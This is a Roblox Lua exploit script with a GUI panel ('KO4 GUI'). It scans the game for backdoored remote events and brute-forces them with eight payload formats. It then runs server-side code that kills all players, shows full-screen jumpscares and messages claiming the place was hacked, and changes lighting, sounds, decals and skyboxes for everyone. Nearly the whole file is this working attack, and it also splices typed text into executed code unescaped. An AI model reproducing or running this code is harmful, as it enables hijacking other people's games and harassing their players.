local Players = game:GetService("Players") local localPlayer = Players.LocalPlayer local guiName = "RobloxNetworkUI" local targetParent = localPlayer:WaitForChild("PlayerGui") local function cleanOldGUI() for _, obj in pairs(targetParent:GetChildren()) do if obj.Name == guiName or obj.Name == "KO4_GUI_V4" or obj.Name == "KO4_GUI_V5" then obj:Destroy() end end end cleanOldGUI() local CachedRemote = nil local CachedPayloadType = nil local IsScanning = false local ignoredKeywords = { "defaultchatsystem", "robloxreplicatedstorage", "textchatservice", "bubblechat", "foster", "camera", "control" } local function isIgnoredRemote(remote) local fullName = remote:GetFullName():lower() for _, kw in ipairs(ignoredKeywords) do if string.find(fullName, kw) then return true end end return false end local payloadTemplates = { { id = 1, run = function(r, c) r:FireServer(c) end }, { id = 2, run = function(r, c) r:FireServer("Run", c) end }, { id = 3, run = function(r, c) r:FireServer("Execute", c) end }, { id = 4, run = function(r, c) r:FireServer("Sync", c) end }, { id = 5, run = function(r, c) r:FireServer("LoadString", c) end }, { id = 6, run = function(r, c) r:FireServer(c, "Execute") end }, { id = 7, run = function(r, c) r:FireServer({Code = c}) end }, { id = 8, run = function(r, c) r:FireServer({code = c}) end }, } local function getPotentialRemotes() local remotes = {} for _, obj in pairs(game:GetDescendants()) do if (obj:IsA("RemoteEvent") or obj:IsA("RemoteFunction")) and not isIgnoredRemote(obj) then table.insert(remotes, obj) end end return remotes end local function showStatusMessage(msgText) pcall(function() local old = workspace:FindFirstChild("KO4_StatusMsg") if old then old:Destroy() end local m = Instance.new("Message", workspace) m.Name = "KO4_StatusMsg" m.Text = msgText task.delay(2.5, function() if m then m:Destroy() end end) end) end local function runServerCommand(code) if CachedRemote and CachedPayloadType then pcall(function() CachedPayloadType.run(CachedRemote, code) end) return end task.spawn(function() local remotes = getPotentialRemotes() for _, remote in ipairs(remotes) do for _, template in ipairs(payloadTemplates) do pcall(function() if remote:IsA("RemoteEvent") then template.run(remote, code) end end) task.wait(0.01) end end end) local func, _ = loadstring(code) if func then task.spawn(function() pcall(func) end) end end local function triggerAction(code) runServerCommand(code) end local function autoScanBackdoor() if CachedRemote or IsScanning then return end IsScanning = true showStatusMessage("scanning...") task.spawn(function() local testTag = "KO4_Hook_" .. math.random(1000, 9999) local testCode = "local f = Instance.new('Folder', workspace); f.Name = '" .. testTag .. "'" local remotes = getPotentialRemotes() for _, remote in ipairs(remotes) do if CachedRemote then break end for _, template in ipairs(payloadTemplates) do if CachedRemote then break end pcall(function() if remote:IsA("RemoteEvent") then template.run(remote, testCode) elseif remote:IsA("RemoteFunction") then task.spawn(function() template.run(remote, testCode) end) end end) task.wait(0.02) local foundFolder = workspace:FindFirstChild(testTag) if foundFolder then foundFolder:Destroy() CachedRemote = remote CachedPayloadType = template showStatusMessage("backdoor 👍") IsScanning = false return end end end IsScanning = false if not CachedRemote then showStatusMessage("backdoor👎") end end) end local toggles = { Hint = false, Hint1 = false, Hint2 = false, Disco = false, FaceAll = false, Fire = false } local screenGui = Instance.new("ScreenGui") screenGui.Name = guiName screenGui.ResetOnSpawn = false screenGui.Parent = targetParent local mainFrame = Instance.new("Frame") mainFrame.Name = "MainFrame" mainFrame.Size = UDim2.new(0, 330, 0, 250) mainFrame.Position = UDim2.new(0.5, -165, 0.5, -125) mainFrame.BackgroundColor3 = Color3.fromRGB(255, 128, 0) mainFrame.BorderSizePixel = 3 mainFrame.BorderColor3 = Color3.fromRGB(255, 128, 0) mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = screenGui local header = Instance.new("Frame") header.Size = UDim2.new(1, 0, 0, 70) header.BackgroundColor3 = Color3.fromRGB(0, 0, 0) header.BorderSizePixel = 2 header.BorderColor3 = Color3.fromRGB(255, 128, 0) header.Parent = mainFrame local titleText = Instance.new("TextLabel") titleText.Size = UDim2.new(1, -40, 0, 45) titleText.Position = UDim2.new(0, 10, 0, 2) titleText.BackgroundTransparency = 1 titleText.Text = "KO4 GUI" titleText.TextColor3 = Color3.fromRGB(255, 255, 255) titleText.TextScaled = true titleText.Font = Enum.Font.Arcade titleText.Parent = header local vText = Instance.new("TextLabel") vText.Size = UDim2.new(0, 30, 0, 20) vText.Position = UDim2.new(1, -30, 0, 2) vText.BackgroundTransparency = 1 vText.Text = "V1" vText.TextColor3 = Color3.fromRGB(255, 255, 255) vText.TextScaled = true vText.Font = Enum.Font.Arcade vText.Parent = header local subText = Instance.new("TextLabel") subText.Size = UDim2.new(1, 0, 0, 20) subText.Position = UDim2.new(0, 0, 0, 45) subText.BackgroundTransparency = 1 subText.Text = "By eblex" subText.TextColor3 = Color3.fromRGB(255, 255, 255) subText.TextScaled = true subText.Font = Enum.Font.Arcade subText.Parent = header autoScanBackdoor() local minCircle = Instance.new("ImageButton") minCircle.Name = "MinCircle" minCircle.Size = UDim2.new(0, 100, 0, 100) minCircle.Position = UDim2.new(0.1, 0, 0.1, 0) minCircle.BackgroundTransparency = 1 minCircle.BorderSizePixel = 0 minCircle.Image = "rbxassetid://86834686364302" minCircle.Visible = false minCircle.Active = true minCircle.Draggable = true minCircle.Parent = screenGui minCircle.MouseButton1Click:Connect(function() minCircle.Visible = false mainFrame.Visible = true end) local pages = {} local function createPage(name) local page = Instance.new("Frame") page.Name = name page.Size = UDim2.new(1, 0, 0, 180) page.Position = UDim2.new(0, 0, 0, 70) page.BackgroundTransparency = 1 page.Visible = false page.Parent = mainFrame pages[name] = page return page end local function switchPage(name) for _, p in pairs(pages) do p.Visible = false end if pages[name] then pages[name].Visible = true end end local function createBtn(parent, name, pos, size, callback) local btn = Instance.new("TextButton") btn.Size = size btn.Position = pos btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) btn.BorderSizePixel = 2 btn.BorderColor3 = Color3.fromRGB(255, 128, 0) btn.Text = name btn.TextColor3 = Color3.fromRGB(255, 255, 255) btn.TextScaled = true btn.Font = Enum.Font.Arcade btn.Parent = parent btn.MouseButton1Click:Connect(function() callback(btn) end) return btn end local function createInput(parent, placeholder, pos, size, callback) local box = Instance.new("TextBox") box.Size = size box.Position = pos box.BackgroundColor3 = Color3.fromRGB(0, 0, 0) box.BorderSizePixel = 2 box.BorderColor3 = Color3.fromRGB(255, 128, 0) box.Text = "" box.PlaceholderText = placeholder box.TextColor3 = Color3.fromRGB(255, 255, 255) box.TextScaled = true box.Font = Enum.Font.Arcade box.ClearTextOnFocus = false box.Parent = parent box.FocusLost:Connect(function(enterPressed) if enterPressed and box.Text ~= "" then callback(box.Text) box.Text = "" end end) return box end local function addBackButton(page) local footer = Instance.new("Frame") footer.Size = UDim2.new(1, 0, 0, 45) footer.Position = UDim2.new(0, 0, 0, 135) footer.BackgroundColor3 = Color3.fromRGB(255, 128, 0) footer.BorderSizePixel = 0 footer.Parent = page local backBtn = Instance.new("TextButton") backBtn.Size = UDim2.new(0, 35, 0, 35) backBtn.Position = UDim2.new(0, 5, 0, 5) backBtn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) backBtn.BorderSizePixel = 2 backBtn.BorderColor3 = Color3.fromRGB(255, 128, 0) backBtn.Text = "<" backBtn.TextColor3 = Color3.fromRGB(255, 255, 255) backBtn.TextScaled = true backBtn.Font = Enum.Font.Arcade backBtn.Parent = footer backBtn.MouseButton1Click:Connect(function() switchPage("Main") end) end local function createScrollPage(name) local page = createPage(name) local scroll = Instance.new("ScrollingFrame") scroll.Size = UDim2.new(1, 0, 0, 135) scroll.Position = UDim2.new(0, 0, 0, 0) scroll.BackgroundTransparency = 1 scroll.BorderSizePixel = 0 scroll.ScrollBarThickness = 4 scroll.Parent = page addBackButton(page) return scroll end local pMain = createPage("Main") pMain.Visible = true createBtn(pMain, "Songs", UDim2.new(0, 0, 0, 0), UDim2.new(0.5, 0, 0, 55), function() switchPage("Songs") end) createBtn(pMain, "Particles", UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 55), function() switchPage("Particles") end) createBtn(pMain, "Jumpscares", UDim2.new(0, 0, 0, 55), UDim2.new(0.5, 0, 0, 55), function() switchPage("Jumpscares") end) createBtn(pMain, "Other", UDim2.new(0.5, 0, 0, 55), UDim2.new(0.5, 0, 0, 55), function() switchPage("Other") end) createBtn(pMain, "exit", UDim2.new(0, 0, 0, 110), UDim2.new(1, 0, 0, 70), function() mainFrame.Visible = false minCircle.Visible = true end) local partScroll = createScrollPage("Particles") local partData = { {"Hacked", "124682335491443"}, {"Fire ring", "139388180106763"}, {"Carl", "123012955069307"}, {"Evil duck", "101905090957800"}, {"Sticker", "106168918647474"}, {"eblex", "124369374895928"}, {"Ko4kidd", "139059126272010"}, {"4ebypizza", "92030909619228"}, {"babyko4", "124592629875619"}, {"TVA", "102447622047232"}, {"standoff2", "98101772380876"}, {"Lua", "120797040395299"}, } local btnHeight = 45 local colWidth = 1 / 3 partScroll.CanvasSize = UDim2.new(0, 0, 0, math.ceil(#partData / 3) * btnHeight) for i, item in ipairs(partData) do local posX = ((i - 1) % 3) * colWidth local posY = math.floor((i - 1) / 3) * btnHeight createBtn(partScroll, item[1], UDim2.new(posX, 0, 0, posY), UDim2.new(colWidth, 0, 0, btnHeight), function() triggerAction([[ for _, v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") then pcall(function() local p = Instance.new("ParticleEmitter", v) p.Texture = "rbxassetid://]]..item[2]..[[" p.Rate = 2 p.Speed = NumberRange.new(1, 2) p.Lifetime = NumberRange.new(1, 3) end) end end ]]) end) end local otherScroll = createScrollPage("Other") local otherData = { {"stop all", "btn", function() toggles.Hint = false; toggles.Hint1 = false; toggles.Hint2 = false toggles.Disco = false; toggles.FaceAll = false; toggles.Fire = false triggerAction([[ pcall(function() _G.KO4_DiscoActive = false for _, v in pairs(workspace:GetDescendants()) do if v:IsA("ParticleEmitter") or v:IsA("Sound") or v:IsA("Fire") or (v:IsA("Decal") and (v.Name == "KO4_Decal" or v.Name == "KO4_StickerDecal" or v.Name == "KO4_TShirt")) then v:Destroy() end end for _, pl in pairs(game.Players:GetPlayers()) do if pl and pl:FindFirstChild("PlayerGui") then for _, g in pairs(pl.PlayerGui:GetChildren()) do if g.Name == "KO4_Jumpscare" or g.Name == "KO4_Overlay" or g.Name == "KO4_WatermarkGui" then g:Destroy() end end if pl.Character and pl.Character:FindFirstChild("Head") then for _, b in pairs(pl.Character.Head:GetChildren()) do if b.Name == "KO4_NextbotFace_Visual" then b:Destroy() end end end end end for _, m in pairs(workspace:GetChildren()) do if m:IsA("Message") or m:IsA("Hint") then m:Destroy() end end game.Lighting.Ambient = Color3.fromRGB(128, 128, 128) game.Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128) end) ]]) end}, {"kill all", "btn", function() triggerAction([[ for _, pl in pairs(game.Players:GetPlayers()) do pcall(function() if pl.Character and pl.Character:FindFirstChildOfClass("Humanoid") then pl.Character:FindFirstChildOfClass("Humanoid").Health = 0 end end) end ]]) end}, {"skybox", "btn", function() triggerAction([[ pcall(function() local sky = game.Lighting:FindFirstChildOfClass("Sky") or Instance.new("Sky", game.Lighting) sky.Name = "KO4_Sky" sky.SkyboxBk = "rbxassetid://72312864778630" sky.SkyboxDn = "rbxassetid://73526027559677" sky.SkyboxFt = "rbxassetid://72312864778630" sky.SkyboxLf = "rbxassetid://72312864778630" sky.SkyboxRt = "rbxassetid://72312864778630" sky.SkyboxUp = "rbxassetid://72312864778630" end) ]]) end}, {"Hint", "btn", function() triggerAction([[ pcall(function() local old = workspace:FindFirstChild("KO4_Hint") if old then old:Destroy() end local h = Instance.new("Hint", workspace) h.Name = "KO4_Hint" h.Text = "eblex is here..." task.delay(3, function() if h then h:Destroy() end end) end) ]]) end}, {"Hint1", "btn", function() triggerAction([[ pcall(function() local old = workspace:FindFirstChild("KO4_Hint1") if old then old:Destroy() end local h = Instance.new("Hint", workspace) h.Name = "KO4_Hint1" h.Text = "эблекс взломала этот плейс бтв кстати" task.delay(3, function() if h then h:Destroy() end end) end) ]]) end}, {"Message", "btn", function() triggerAction([[ pcall(function() local old = workspace:FindFirstChild("KO4_Message") if old then old:Destroy() end local m = Instance.new("Message", workspace) m.Name = "KO4_Message" m.Text = "PRAY TO EBLEX" task.delay(2, function() if m then m:Destroy() end end) end) ]]) end}, {"Write msg..", "input", function(text) triggerAction([[ pcall(function() local old = workspace:FindFirstChild("KO4_CustomMsg") if old then old:Destroy() end local m = Instance.new("Message", workspace) m.Name = "KO4_CustomMsg" m.Text = "]] .. text .. [[" task.delay(2, function() if m then m:Destroy() end end) end) ]]) end}, {"Ko4 t-shirt", "btn", function() triggerAction([[ for _, pl in pairs(game.Players:GetPlayers()) do pcall(function() if pl.Character then local torso = pl.Character:FindFirstChild("Torso") or pl.Character:FindFirstChild("UpperTorso") if torso then local old = torso:FindFirstChild("KO4_TShirt") if old then old:Destroy() end local dec = Instance.new("Decal", torso) dec.Name = "KO4_TShirt" dec.Face = Enum.NormalId.Front dec.Texture = "rbxassetid://70724046521388" end end end) end ]]) end}, {"Disco", "toggle", function() toggles.Disco = not toggles.Disco if toggles.Disco then triggerAction([[ _G.KO4_DiscoActive = true task.spawn(function() pcall(function() local colors = {Color3.fromRGB(255,0,0), Color3.fromRGB(0,255,0), Color3.fromRGB(0,0,255), Color3.fromRGB(255,255,0)} local i = 1 while _G.KO4_DiscoActive do local curColor = colors[(i % #colors) + 1] game.Lighting.Ambient = curColor game.Lighting.OutdoorAmbient = curColor i = i + 1 task.wait(0.2) end game.Lighting.Ambient = Color3.fromRGB(128, 128, 128) game.Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128) end) end) ]]) else triggerAction([[ _G.KO4_DiscoActive = false pcall(function() game.Lighting.Ambient = Color3.fromRGB(128, 128, 128) game.Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128) end) ]]) end end}, {"Textures", "btn", function() triggerAction([[ for _, v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") then pcall(function() local dec = Instance.new("Decal", v) dec.Name = "KO4_Decal" dec.Texture = "rbxassetid://124369374895928" end) end end ]]) end}, {"face all", "toggle", function() toggles.FaceAll = not toggles.FaceAll if toggles.FaceAll then triggerAction([[ for _, pl in pairs(game:GetService("Players"):GetPlayers()) do if pl.Character and pl.Character:FindFirstChild("Head") then local head = pl.Character.Head local old = head:FindFirstChild("KO4_NextbotFace_Visual") if old then old:Destroy() end local bb = Instance.new("BillboardGui", head) bb.Name = "KO4_NextbotFace_Visual" bb.Size = UDim2.new(2.5, 0, 2.5, 0) bb.AlwaysOnTop = true bb.LightInfluence = 0 local img = Instance.new("ImageLabel", bb) img.Size = UDim2.new(1, 0, 1, 0) img.Image = "rbxassetid://139388180106763" img.BackgroundTransparency = 1 end end ]]) else triggerAction([[ for _, pl in pairs(game:GetService("Players"):GetPlayers()) do if pl.Character and pl.Character:FindFirstChild("Head") then local head = pl.Character.Head for _, b in pairs(head:GetChildren()) do if b.Name == "KO4_NextbotFace_Visual" then b:Destroy() end end end end ]]) end end}, {"watermark", "btn", function() triggerAction([[ for _, pl in pairs(game:GetService("Players"):GetPlayers()) do if pl and pl:FindFirstChild("PlayerGui") then local old = pl.PlayerGui:FindFirstChild("KO4_WatermarkGui") if old then old:Destroy() end local sg = Instance.new("ScreenGui") sg.Name = "KO4_WatermarkGui" sg.ResetOnSpawn = false sg.Parent = pl.PlayerGui local img = Instance.new("ImageButton") img.Name = "Watermark" img.Size = UDim2.new(0, 160, 0, 160) img.Position = UDim2.new(0.05, 0, 0.05, 0) img.BackgroundTransparency = 1 img.BorderSizePixel = 0 img.Image = "rbxassetid://127682916115176" img.Active = true img.Draggable = true img.Parent = sg end end ]]) end}, } otherScroll.CanvasSize = UDim2.new(0, 0, 0, math.ceil(#otherData / 3) * btnHeight) for i, item in ipairs(otherData) do local posX = ((i - 1) % 3) * colWidth local posY = math.floor((i - 1) / 3) * btnHeight if item[2] == "input" then createInput(otherScroll, item[1], UDim2.new(posX, 0, 0, posY), UDim2.new(colWidth, 0, 0, btnHeight), item[3]) else createBtn(otherScroll, item[1], UDim2.new(posX, 0, 0, posY), UDim2.new(colWidth, 0, 0, btnHeight), item[3]) end end local jumpScroll = createScrollPage("Jumpscares") local jumpData = { {"World tour", "117879871259847"}, {"TVA", "90336030825538"}, {"eblex", "99084831340728"}, {"eblex1", "112836786165262"}, {"Pizza", "81830650588826"}, {"BFDIE", "106218564557166"}, {"93ko4", "122739740737436"}, {"Eblex2", "82537538271327"}, {"Eblex3", "73526027559677"}, {"3baka", "105416886315446"}, {"SYBAU", "82348580437389"}, {"me and me", "102641058383502"}, } jumpScroll.CanvasSize = UDim2.new(0, 0, 0, math.ceil(#jumpData / 3) * btnHeight) for i, item in ipairs(jumpData) do local posX = ((i - 1) % 3) * colWidth local posY = math.floor((i - 1) / 3) * btnHeight createBtn(jumpScroll, item[1], UDim2.new(posX, 0, 0, posY), UDim2.new(colWidth, 0, 0, btnHeight), function() triggerAction([[ for _, pl in pairs(game.Players:GetPlayers()) do if pl and pl:FindFirstChild("PlayerGui") then task.spawn(function() pcall(function() local old = pl.PlayerGui:FindFirstChild("KO4_Jumpscare") if old then old:Destroy() end local sg = Instance.new("ScreenGui", pl.PlayerGui) sg.Name = "KO4_Jumpscare" local img = Instance.new("ImageLabel", sg) img.Size = UDim2.new(1, 0, 1, 0) img.Image = "rbxassetid://]]..item[2]..[[" img.BackgroundTransparency = 1 task.delay(2, function() if sg then sg:Destroy() end end) end) end) end end ]]) end) end local songScroll = createScrollPage("Songs") local songData = { {"type London", "rbxassetid://116873078212017"}, {"C00lkidd", "rbxassetid://94635984925376"}, {"ko4", "rbxassetid://74612331354602"}, {"Tricky disco", "rbxassetid://132151809709601"}, {"Bluudud", "rbxassetid://119651512211700"}, {"Doctor", "rbxassetid://94798586157962"}, } songScroll.CanvasSize = UDim2.new(0, 0, 0, math.ceil(#songData / 3) * btnHeight) for i, item in ipairs(songData) do local posX = ((i - 1) % 3) * colWidth local posY = math.floor((i - 1) / 3) * btnHeight createBtn(songScroll, item[1], UDim2.new(posX, 0, 0, posY), UDim2.new(colWidth, 0, 0, btnHeight), function() triggerAction([[ pcall(function() local old = workspace:FindFirstChild("KO4_Song") if old then old:Destroy() end local s = Instance.new("Sound", workspace) s.Name = "KO4_Song" s.SoundId = "]]..item[2]..[[" s.Volume = 5 s.Looped = true s:Play() end) ]]) end) end